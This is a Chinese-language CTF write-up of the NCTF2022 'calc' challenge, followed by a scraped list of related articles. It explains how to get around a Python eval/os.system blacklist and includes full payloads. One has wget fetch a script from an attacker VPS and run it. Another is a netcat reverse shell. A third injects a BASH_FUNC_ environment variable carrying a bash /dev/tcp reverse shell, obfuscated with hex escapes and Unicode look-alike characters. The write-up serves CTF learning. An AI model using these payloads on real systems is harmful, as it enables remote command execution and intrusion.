calc(环境变量注入getshell)

经典计算器题目,看着有点眼熟,没错,就是buu三月赛的一道题目。由于那时候web可能都算不上入门,所以也就没有复现。比赛时就网上看了看三月赛的wp,但是没有什么用,因为过滤更加严格了,看题目代码:

@app.route("/calc", methods=['GET'])
def calc():ip = request.remote_addrnum = request.values.get("num")log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S", time.localtime()), ip,num)if waf(num):try:data = eval(num)os.system(log)except:passreturn str(data)else:return "waf!!"
def waf(s):blacklist = ['import', '(', ')', '#', '@', '^', '$', ',', '>', '?', '`', ' ', '_', '|', ';', '"', '{', '}', '&','getattr', 'os', 'system', 'class', 'subclasses', 'mro', 'request', 'args', 'eval', 'if', 'subprocess','file', 'open', 'popen', 'builtins', 'compile', 'execfile', 'from_pyfile', 'config', 'local', 'self','item', 'getitem', 'getattribute', 'func_globals', '__init__', 'join', '__dict__']flag = Truefor no in blacklist:if no.lower() in s.lower():flag = Falseprint(no)breakreturn flag

比赛思路

突破口有两处,eval命令执行以及os.system函数执行代码。网上用的都是利用os.system函数来执行命令的。它执行的是log参数里面的内容,

log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S", time.localtime()), ip,num)

参数部分可控,接下来我们所要做的就是截断已有命令,让os.system函数去单独执行num中的代码,buu三月赛是用反引号来绕过,因为有反引号会先执行反引号里的代码。但是在这里反引号被过滤掉了,当时测试是可以用换行来绕过的,赛后看师傅们的wp也确实是这样,

当时想着反弹shell,但是没有成功,回头检查一遍发现还需要绕过eval函数,因为我们传入的payload先经过eval函数处理会发生报错,这就导致os.system函数无法执行,buu三月赛是用#把后面代码注释掉,是一个好点子,但是这一题也过滤了。实在想不出还能怎么绕,最后也是放弃了,坐等赛后wp(菜哭)。

非预期解

网上师傅们的wp全是这一种非预期解法,后来平台好像为了考察预期解又新出一道calc升级版。这个非预期同样也是解决上面那两个问题,num参数单独代码执行,使用换行绕过。满足eval正常执行则是用单引号将我们传入的代码包裹起来,使其成为字符串,这样就不会报错了 ,妙啊。

又因为没有回显,可以wget命令从我们服务器下载恶意sehll脚本,然后在题目中执行。如果题目出网,那么我们可以反弹shell或者将flag文件外带出来,例如我们反弹shell,编写恶意shell脚本:

#!/bin/bash
nc vps port -e /bin/sh

题目中我们传入参数:

num=%0A'wget'%09'http://vps/hack.sh'%0A
num=%0A'bash'%09'hack.sh'%0A

同时vps开启监听,但是赛后测试并没有弹过来,利用curl外带也没有成功,不知道是啥细节上出问题了。最主要的是学习一下这一种思路。

预期解

看了出题人的wp之后,知道他是根据p神的一篇环境变量注入的文章得来的灵感,

我是如何利用环境变量注入执行任意命令 - 跳跳糖

p神的文章对于小白来说还是容易劝退的,C语言基础不是很好的我看底层代码还是有些费劲。下来主要说一下p神这篇文章利用环境变量注入来getshell的思想。

php的system函数在底层调用了popen函数,而最终执行的命令就是sh -c,我们知道sh是一个软连接,它指向bash或者dash,在system函数执行的时候,就会执行sh这个二进制文件,如果我们在sh底层源码中找到可以利用的环境变量,也就可以执行命令。其中能够利用的就是variables.c的initialize_shell_variables函数用于将环境变量注册成SHELL的变量。其中的一段if条件语句判断:

if (privmode == 0 && read_but_dont_execute == 0 && STREQN (BASHFUNC_PREFIX, name, BASHFUNC_PREFLEN) &&STREQ (BASHFUNC_SUFFIX, name + char_index - BASHFUNC_SUFFLEN) &&STREQN ("() {", string, 4))

p神也给了其中的解释

这段很重要,也是能否看懂这道题payload的关键。也就是满足这些条件,它会注册一个shell变量并执行。

env $'BASH_FUNC_myfunc%%=() { id; }' bash -c 'myfunc'

也就这样创建类似匿名函数并执行,就会执行id这个命令。针对本题就说这些,了解更多还得细读p神的文章,能够学到很多。

依据上面的思想我们是否能在python中运用。同样python3中system函数底层代码实现中也调用了/bin/sh -c来执行shell命令,附上官方wp:

NCTF2022 Official Writeup | 小绿草信息安全实验室

同理我们也可以注入环境变量来命令执行。那么在这一题我们怎么注入环境变量,没有直观的putenv函数,只能通过eval来覆盖或者赋值,参考这篇文章:

Python黑魔法-[]绕过空格实现变量覆盖 - Twings

利用for循环来变量覆盖:

还可以用中括号来绕过空格,虽然不知道为什么可以这样,好像是python的特性吧。本地测试一下向os.environ注入新的环境变量:

完全可以,这样环境变量覆盖的问题也解决了。在此,我们需要设置的环境变量为:

os.environ['BASH_FUNC_echo%%']='() { bash -i >& /dev/tcp/xx.xx.xx.xx/xxxx 0>&1;}'

当然echo只是一个函数名,设置成什么字母无所谓,我们需要for循环对该环境变量进行注入,且绕过空格,所以进一步的payload为:

[[str][0]for[os.environ['BASH_FUNC_echo%%']]in[['() { bash -i >& /dev/tcp/xx.xx.xx.xx/xxxx 0>&1;}']]]

剩下的就是绕过黑名单了,在python中,用单双引号包裹的字符串是能够识别十六进制的,所以只需要将敏感字符十六进制编码即可绕过。最后就是怎么绕过os了。这里对于我来说又是一个新的点,python在处理utf-8中的非ascii字符的时候,会被转化成统一的标准格式。

就像官方wp上可以用ᵒ来代替o,这下问题都全部解决了,所以最终payload为:

[[str][0]for[ᵒs.environ['BASH\x5fFUNC\x5fecho%%']]in[['\x28\x29\x20\x7b\x20\x62\x61\x73\x68\x20\x2d\x69\x20\x3e\x26\x20\x2f\x64\x65\x76\x2f\x74\x63\x70\x2f\x78\x78\x2e\x78\x78\x2e\x78\x78\x2e\x78\x78\x2f\x78\x78\x78\x78\x20\x30\x3e\x26\x31\x3b\x7d']]]

nss上线了这道题,用该payload试一下

最终也是弹成功了。

结语

这都是在基于system函数执行的条件下(无论是php还是python),底层调用sh二进制文件,我们都可以注入环境变量来rce。换句话说,如果底层调用了sh -c命令的函数执行的话,具有环境变量注入条件,使用这个方法来getshell应该是可以的。这个赛题个人感觉质量很高,能够从中学习到很多知识。

NCTF2022 calc题目复现相关推荐

  1. 近段时间参加的CTF竞赛部分题目复现(ISCC2020 、GKCTF、网鼎杯)

    本文目录 前言 ISCC Misc 签到题 耳听为实 千层套路 ISCC Web Php is the best language ISCC成绩查询-2 ISCC成绩查询_3 What can ima ...

  2. 国赛ezpop题目复现(tp6)

    前言 五月份国赛题目涉及到tp6的反序列化,当时也是在网上找的exp打,不知道其中的链子是怎么构造的,前段时间也接触了tp框架的反序列化,利用这次机会好好复现一下,弄懂其中的原理.在ctfshow和n ...

  3. 第二届BJD CTF做题总结与题目复现-MISCCrypto

    0x00 前言 上周参加了第二届BJD CTF,本Web dog太垃圾,就做出两道Web.不过还好MISC和Crypto做的还行.那就先总结复现一下.标*表示未作出的 0x01 MISC 这个做的还行 ...

  4. 安恒11月赛Web题目复现

    考完网络安全跟算法就赶紧来复现一下题目,又学到了一波知识了23333,这次题目的质量贼好 手速要快 上一个月的原题,不多说,直接在http头里面找到对应的password登陆以后直接就是关于页面上传的 ...

  5. RCTF2019web题目复现之rblog和ez4cr

    这两道题都是关于反射型XSS绕过.看wp还复现了蛮长时间,bot好像挂了,所以就打打自己cookie吧 rblog 1.查看所有接口地址 2.接口中的v1v2可能是版本号 发现接口地址https:// ...

  6. BJDCTF2nd部分题目复现

    复现 web fake google old-hack duangShell Schrödinger 假猪套天下第一 XSS之光 elementmaster 文件探测 EasyAspDotNet m ...

  7. 2021-NCTF pwn方向题目复现

    周末在学校摸鱼了所以没有参加比赛,赛后看题又一次深刻的感觉到自己有多菜了(被新生赛暴打的大二菜狗子 1.easyheap 算是pwn的签到题目了,从libc2.32起加了一个异或的保护,不过因为uaf ...

  8. 2019某行业CTF大赛题目复现——图片隐写

    0x01上题目附件: 百度网盘地址 提取码 https://pan.baidu.com/s/13hDSgmW4cn9gEWqHjJrWIw 20ra 0x02WP复现: 1.打开图片:发现宽和高好像没 ...

  9. [*CTF2022]web题目复现及wp

    文章目录 WEB oh-my-grafana oh-my-notepro 坑点 oh-my-lotto 非预期 PATH变量 WGETRC变量 oh-my-lotto-revenge 非预期 WGET ...

最新文章

  1. FRAME与IFRAME
  2. video怎么重新加载 vue_vue.js中vue-video-player中的怎么插入多个视频,视频可以同时播放的问题及解决办法...
  3. acme.sh及https证书实践
  4. 图像和视频的快速去雾算法研究
  5. iOS - 手动添加新的字体
  6. “互联网+”非遗谋定市场化-万祥军:经信研究世屹文化
  7. 符乐安:2020年短视频创作将迎来新的高峰
  8. ORACLE PL/SQL编程之六:把过程与函数说透(穷追猛打,把根儿都拔起!)
  9. 2019年中国IT市场趋势热点
  10. 【aviator】aviator 报错 Syntax error:Unexpect token 'OR' Parsing expression
  11. 【Educational Codeforces Round 48 (Rated for Div. 2) D】Vasya And The Matrix
  12. 操作系统中的用户空间和内核空间
  13. String 类的常用方法
  14. sd卡卡槽_一种SD卡卡槽的制作方法
  15. html 签名,什么是签名档?如何使用
  16. Cortex-A7中断系统
  17. 极值点、驻点、拐点、关系点
  18. 深度人工神经网络模拟单个皮层神经元1
  19. 巴贝奇的困境 by: 天涯ID--先生会算命V1
  20. Linux报错:Syntax error: “(“ unexpected解决办法,elf

热门文章

  1. 想知道图片编辑修改文字怎么操作吗
  2. 学习java就要多看书!
  3. css3动画属性animation
  4. 你知道的宽动态有多宽?
  5. 艺术|油画|欣赏| 遥想当年赤壁
  6. QT浏览器插件开发入门
  7. Intelnbsp;Fortran安装netcdf库amp;n…
  8. SpringBoot Web项目Mock测试
  9. C语言中缀表达式转为前缀表达式
  10. win10本次操作由于计算机的限制而取消,win10系统本次操作由于计算机限制而被取消的操作步骤...